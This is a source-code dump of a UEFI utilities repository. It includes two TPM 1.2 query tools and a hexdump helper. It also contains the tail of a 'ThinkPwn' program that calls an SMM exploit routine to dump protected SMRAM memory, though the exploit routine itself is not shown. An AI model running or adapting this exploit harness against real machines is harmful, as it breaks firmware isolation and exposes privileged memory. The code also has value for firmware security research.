404 | 405 | if (Argc >= 3) 406 | { 407 | if ((g_DumpSize = strtoull(Argv[2], NULL, 16)) == 0 && errno == EINVAL) 408 | { 409 | printf("strtoull() ERROR %d\n", errno); 410 | return errno; 411 | } 412 | 413 | if (Argc >= 4) 414 | { 415 | lpszOutPath = Argv[3]; 416 | } 417 | } 418 | else 419 | { 420 | g_DumpSize = 0x100; 421 | } 422 | 423 | printf( 424 | "Dumping 0x%llx bytes of memory from 0x%llx in SMM...\n", 425 | g_DumpSize, g_DumpAddr 426 | ); 427 | 428 | // allocate memory for SMRAM dump 429 | if ((Status = gBS->AllocatePool(0, g_DumpSize, &g_DumpBuff)) != EFI_SUCCESS) 430 | { 431 | printf("AllocatePool() ERROR 0x%.8x\n", Status); 432 | return -1; 433 | } 434 | 435 | memset(g_DumpBuff, 0, g_DumpSize); 436 | } 437 | 438 | // locate SMM access protocol 439 | if ((Status = gBS->LocateProtocol(&gEfiSmmAccessProtocolGuid, NULL, &SmmAccess)) != EFI_SUCCESS) 440 | { 441 | printf("ERROR: Unable to locate SMM access protocol: 0x%.8x\n", Status); 442 | goto _end; 443 | } 444 | 445 | printf("SMM access protocol is at 0x%llx\n", SmmAccess); 446 | 447 | // get SMRAM regions information 448 | if ((Status = SmmAccess->GetCapabilities(SmmAccess, &SmramMapSize, SmramMap)) != EFI_SUCCESS) 449 | { 450 | printf("GetCapabilities() ERROR 0x%.8x\n", Status); 451 | goto _end; 452 | } 453 | 454 | printf("Available SMRAM regions:\n"); 455 | 456 | for (i = 0; i < SmramMapSize / sizeof(EFI_SMRAM_DESCRIPTOR); i += 1) 457 | { 458 | printf( 459 | " * 0x%.8llx:0x%.8llx\n", 460 | SmramMap[i].PhysicalStart, 461 | SmramMap[i].PhysicalStart + SmramMap[i].PhysicalSize - 1 462 | ); 463 | } 464 | 465 | // run exploit 466 | if (SystemSmmRuntimeRt_Exploit(SmmHandler) == EFI_SUCCESS) 467 | { 468 | if (g_DumpBuff && g_DumpSize > 0) 469 | { 470 | if (lpszOutPath) 471 | { 472 | // save memory dump into the file 473 | WriteFile(gImageHandle, lpszOutPath, g_DumpBuff, &g_DumpSize); 474 | } 475 | else 476 | { 477 | // print memory dump to stdout 478 | hexdump(g_DumpBuff, g_DumpSize, g_DumpAddr); 479 | } 480 | } 481 | } 482 | 483 | _end: 484 | 485 | if (g_DumpBuff) 486 | { 487 | gBS->FreePool(g_DumpBuff); 488 | } 489 | 490 | return Ret; 491 | } 492 | //-------------------------------------------------------------------------------------- 493 | // EoF 494 | -------------------------------------------------------------------------------- /MyApps/ThinkPwn/src/hexdump.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | //-------------------------------------------------------------------------------------- 5 | void hexdump(unsigned char *data, size_t length, void *addr) 6 | { 7 | size_t dp = 0, p = 0; 8 | const char trans[] = 9 | "................................ !\"#$%&'()*+,-./0123456789" 10 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" 11 | "nopqrstuvwxyz{|}~...................................." 12 | "....................................................." 13 | "........................................"; 14 | 15 | char buff[0x100], byte[0x10]; 16 | memset(buff, 0, sizeof(buff)); 17 | 18 | for (dp = 1; dp <= length; dp++) 19 | { 20 | sprintf(byte, "%02x ", data[dp - 1]); 21 | strcat(buff, byte); 22 | 23 | if ((dp % 8) == 0) 24 | { 25 | strcat(buff, " "); 26 | } 27 | 28 | if ((dp % 16) == 0) 29 | { 30 | strcat(buff, "| "); 31 | p = dp; 32 | 33 | for (dp -= 16; dp < p; dp++) 34 | { 35 | sprintf(byte, "%c", trans[data[dp]]); 36 | strcat(buff, byte); 37 | } 38 | 39 | printf("%.8llx: %s\n", (unsigned long long)addr + dp - 16, buff); 40 | memset(buff, 0, sizeof(buff)); 41 | } 42 | } 43 | 44 | if (length % 16 != 0) 45 | { 46 | p = dp = 16 - (length % 16); 47 | 48 | for (dp = p; dp > 0; dp--) 49 | { 50 | strcat(buff, " "); 51 | 52 | if (((dp % 8) == 0) && (p != 8)) 53 | { 54 | strcat(buff, " "); 55 | } 56 | } 57 | 58 | strcat(buff, " | "); 59 | 60 | for (dp = length - 16 - p; dp < length; dp++) 61 | { 62 | sprintf(byte, "%c", trans[data[dp]]); 63 | strcat(buff, byte); 64 | } 65 | 66 | printf( 67 | "%.8llx: %s\n", 68 | (unsigned long long)addr + length - (length % 16), buff 69 | ); 70 | } 71 | } 72 | //-------------------------------------------------------------------------------------- 73 | //EoF 74 | -------------------------------------------------------------------------------- /MyApps/ThinkPwn/src/hexdump.h: -------------------------------------------------------------------------------- 1 | 2 | void hexdump(unsigned char *data, size_t length, void *addr); 3 | -------------------------------------------------------------------------------- /MyApps/tpm_getpermflags/tpm_getpermflags.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2016 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Retrieve TPM 1.2 permanent flags 5 | // 6 | // License: BSD License 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define UTILITY_VERSION L"0.8" 23 | 24 | 25 | VOID 26 | Usage(CHAR16 *Str) 27 | { 28 | Print(L"Usage: %s [--version]\n", Str); 29 | } 30 | 31 | 32 | INTN 33 | EFIAPI 34 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 35 | { 36 | EFI_STATUS Status = EFI_SUCCESS; 37 | EFI_TCG_PROTOCOL *TcgProtocol; 38 | EFI_GUID gEfiTcgProtocolGuid = EFI_TCG_PROTOCOL_GUID; 39 | 40 | TPM_RSP_COMMAND_HDR *TpmRsp; 41 | UINT32 TpmSendSize; 42 | TPM_PERMANENT_FLAGS *TpmPermanentFlags; 43 | UINT8 CmdBuf[64]; 44 | 45 | 46 | if (Argc == 2) { 47 | if (!StrCmp(Argv[1], L"--version")) { 48 | Print(L"Version: %s\n", UTILITY_VERSION); 49 | return Status; 50 | } 51 | if (!StrCmp(Argv[1], L"--help") || 52 | !StrCmp(Argv[1], L"-h") || 53 | !StrCmp(Argv[1], L"-?")) { 54 | Usage(Argv[0]); 55 | return Status; 56 | } 57 | } 58 | 59 | Status = gBS->LocateProtocol( &gEfiTcgProtocolGuid, 60 | NULL, 61 | (VOID **) &TcgProtocol); 62 | if (EFI_ERROR (Status)) { 63 | Print(L"Failed to locate EFI_TCG_PROTOCOL [%d]\n", Status); 64 | return Status; 65 | } 66 | 67 | TpmSendSize = sizeof (TPM_RQU_COMMAND_HDR) + sizeof (UINT32) * 3; 68 | *(UINT16*)&CmdBuf[0] = SwapBytes16 (TPM_TAG_RQU_COMMAND); 69 | *(UINT32*)&CmdBuf[2] = SwapBytes32 (TpmSendSize); 70 | *(UINT32*)&CmdBuf[6] = SwapBytes32 (TPM_ORD_GetCapability); 71 | *(UINT32*)&CmdBuf[10] = SwapBytes32 (TPM_CAP_FLAG); 72 | *(UINT32*)&CmdBuf[14] = SwapBytes32 (sizeof (TPM_CAP_FLAG_PERMANENT)); 73 | *(UINT32*)&CmdBuf[18] = SwapBytes32 (TPM_CAP_FLAG_PERMANENT); 74 | 75 | Status = TcgProtocol->PassThroughToTpm( TcgProtocol, 76 | TpmSendSize, 77 | CmdBuf, 78 | sizeof (CmdBuf), 79 | CmdBuf); 80 | if (EFI_ERROR (Status)) { 81 | Print(L"ERROR: PassThroughToTpm failed [%d]\n", Status); 82 | return Status; 83 | } 84 | TpmRsp = (TPM_RSP_COMMAND_HDR *) &CmdBuf[0]; 85 | if ((TpmRsp->tag != SwapBytes16(TPM_TAG_RSP_COMMAND)) || (TpmRsp->returnCode != 0)) { 86 | Print(L"ERROR: TPM command result [%d]\n", SwapBytes16(TpmRsp->returnCode)); 87 | return EFI_DEVICE_ERROR; 88 | } 89 | 90 | TpmPermanentFlags = (TPM_PERMANENT_FLAGS *) &CmdBuf[sizeof (TPM_RSP_COMMAND_HDR) + sizeof (UINT32)]; 91 | 92 | Print(L"\nTPM Permanent Flags\n\n"); 93 | Print(L"Disabled: %s\n", TpmPermanentFlags->disable ? L"Yes" : L"No"); 94 | Print(L"Ownership: %s\n", TpmPermanentFlags->ownership ? L"Yes" : L"No"); 95 | Print(L"Deactivated: %s\n", TpmPermanentFlags->deactivated ? L"Yes" : L"No"); 96 | Print(L"ReadPubEK: %s\n", TpmPermanentFlags->readPubek ? L"Yes" : L"No"); 97 | Print(L"DisableOwnerClear: %s\n", TpmPermanentFlags->disableOwnerClear ? L"Yes" : L"No"); 98 | Print(L"AllowMaintenance: %s\n", TpmPermanentFlags->allowMaintenance ? L"Yes" : L"No"); 99 | Print(L"PhysicalPresenceLifetimeLock: %s\n", TpmPermanentFlags->physicalPresenceLifetimeLock ? L"Yes" : L"No"); 100 | Print(L"PhysicalPresenceHWEnable: %s\n", TpmPermanentFlags->physicalPresenceHWEnable ? L"Yes" : L"No"); 101 | Print(L"PhysicalPresenceCMDEnable: %s\n", TpmPermanentFlags->physicalPresenceCMDEnable ? L"Yes" : L"No"); 102 | Print(L"CEKPUsed: %s\n", TpmPermanentFlags->CEKPUsed ? L"Yes" : L"No"); 103 | Print(L"TPMpost: %s\n", TpmPermanentFlags->TPMpost ? L"Yes" : L"No"); 104 | Print(L"TPMpostLock: %s\n", TpmPermanentFlags->TPMpostLock ? L"Yes" : L"No"); 105 | Print(L"FIPS: %s\n", TpmPermanentFlags->FIPS ? L"Yes" : L"No"); 106 | Print(L"Operator: %s\n", TpmPermanentFlags->operator ? L"Yes" : L"No"); 107 | Print(L"EnableRevokeEK: %s\n", TpmPermanentFlags->enableRevokeEK ? L"Yes" : L"No"); 108 | Print(L"NvLocked: %s\n", TpmPermanentFlags->nvLocked ? L"Yes" : L"No"); 109 | Print(L"ReadSRKPub: %s\n", TpmPermanentFlags->readSRKPub ? L"Yes" : L"No"); 110 | Print(L"TpmEstablished: %s\n", TpmPermanentFlags->tpmEstablished ? L"Yes" : L"No"); 111 | Print(L"MaintenanceDone: %s\n", TpmPermanentFlags->maintenanceDone ? L"Yes" : L"No"); 112 | Print(L"DisableFullDALogicInfo: %s\n", TpmPermanentFlags->disableFullDALogicInfo ? L"Yes" : L"No"); 113 | Print(L"\n"); 114 | 115 | return Status; 116 | } 117 | -------------------------------------------------------------------------------- /MyApps/tpm_getpermflags/tpm_getpermflags.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = tpm_getpermflags 4 | FILE_GUID = 4ea87c51-7395-4ccd-0355-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | tpm_getpermflags.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/tpm_getrandom/tpm_getrandom.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2016 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Demo accessing TPM 1.2 Random Number Generator 5 | // 6 | // License: BSD License 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define UTILITY_VERSION L"0.8" 22 | #define NO_RANDOM_BYTES 20 23 | 24 | #pragma pack(1) 25 | 26 | typedef struct { 27 | TPM_RQU_COMMAND_HDR Header; 28 | UINT32 BytesRequested; 29 | } TPM_COMMAND; 30 | 31 | 32 | typedef struct { 33 | TPM_RSP_COMMAND_HDR Header; 34 | UINT32 RandomBytesSize; 35 | UINT8 RandomBytes[NO_RANDOM_BYTES]; 36 | } TPM_RESPONSE; 37 | 38 | #pragma pack() 39 | 40 | 41 | VOID 42 | Usage(CHAR16 *Str) 43 | { 44 | Print(L"Usage: %s [--version]\n", Str); 45 | } 46 | 47 | 48 | INTN 49 | EFIAPI 50 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 51 | { 52 | EFI_STATUS Status = EFI_SUCCESS; 53 | EFI_TCG_PROTOCOL *TcgProtocol; 54 | EFI_GUID gEfiTcgProtocolGuid = EFI_TCG_PROTOCOL_GUID; 55 | 56 | TPM_COMMAND InBuffer; 57 | TPM_RESPONSE OutBuffer; 58 | UINT32 InBufferSize; 59 | UINT32 OutBufferSize; 60 | int RandomBytesSize = 0; 61 | 62 | if (Argc == 2) { 63 | if (!StrCmp(Argv[1], L"--version")) { 64 | Print(L"Version: %s\n", UTILITY_VERSION); 65 | return Status; 66 | } 67 | if (!StrCmp(Argv[1], L"--help") || 68 | !StrCmp(Argv[1], L"-h") || 69 | !StrCmp(Argv[1], L"-?")) { 70 | Usage(Argv[0]); 71 | return Status; 72 | } 73 | } 74 | 75 | Status = gBS->LocateProtocol( &gEfiTcgProtocolGuid, 76 | NULL, 77 | (VOID **) &TcgProtocol); 78 | if (EFI_ERROR (Status)) { 79 | Print(L"Failed to locate EFI_TCG_PROTOCOL [%d]\n", Status); 80 | return Status; 81 | } 82 | 83 | InBufferSize = sizeof(TPM_COMMAND); 84 | OutBufferSize = sizeof(TPM_RESPONSE); 85 | 86 | InBuffer.Header.tag = SwapBytes16(TPM_TAG_RQU_COMMAND); 87 | InBuffer.Header.paramSize = SwapBytes32(InBufferSize); 88 | InBuffer.Header.ordinal = SwapBytes32(TPM_ORD_GetRandom); 89 | InBuffer.BytesRequested = SwapBytes32(NO_RANDOM_BYTES); 90 | 91 | Status = TcgProtocol->PassThroughToTpm( TcgProtocol, 92 | InBufferSize, 93 | (UINT8 *)&InBuffer, 94 | OutBufferSize, 95 | (UINT8 *)&OutBuffer); 96 | if (EFI_ERROR (Status)) { 97 | Print(L"ERROR: PassThroughToTpm failed [%d]\n", Status); 98 | return Status; 99 | } 100 | 101 | if ((OutBuffer.Header.tag != SwapBytes16 (TPM_TAG_RSP_COMMAND)) || (OutBuffer.Header.returnCode != 0)) { 102 | Print(L"ERROR: TPM command result [%d]\n", SwapBytes32(OutBuffer.Header.returnCode)); 103 | return EFI_DEVICE_ERROR; 104 | } 105 | 106 | RandomBytesSize = SwapBytes32(OutBuffer.RandomBytesSize); 107 | 108 | Print(L"Number of Random Bytes Requested: %d\n", SwapBytes32(InBuffer.BytesRequested)); 109 | Print(L" Number of Random Bytes Received: %d\n", RandomBytesSize); 110 | Print(L" Ramdom Bytes Received: "); 111 | for (int i = 0; i < RandomBytesSize; i++) { 112 | Print(L"%02x ", OutBuffer.RandomBytes[i]); 113 | } 114 | Print(L"\n"); 115 | 116 | return Status; 117 | } 118 | -------------------------------------------------------------------------------- /MyApps/tpm_getrandom/tpm_getrandom.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = tpm_getrandom 4 | FILE_GUID = 4ea87c51-7395-4ccd-0355-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | tpm_getrandom.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # UEFI-Utilities-2016 2 | 3 | Various UEFI utilities built against UDK2015 4 | 5 | Create a subdirectory immediately under UDK2015 called MyApps, populate MyApps with one or more of the utilities, fix up MyApps.dsc to build the utility or utilities. 6 | 7 | Note these utilities have only been built and tested on an X64 platform. 8 | 9 | See http://blog.fpmurphy.com for detailed information about a utility. 10 | 11 | Enjoy! 12 | --------------------------------------------------------------------------------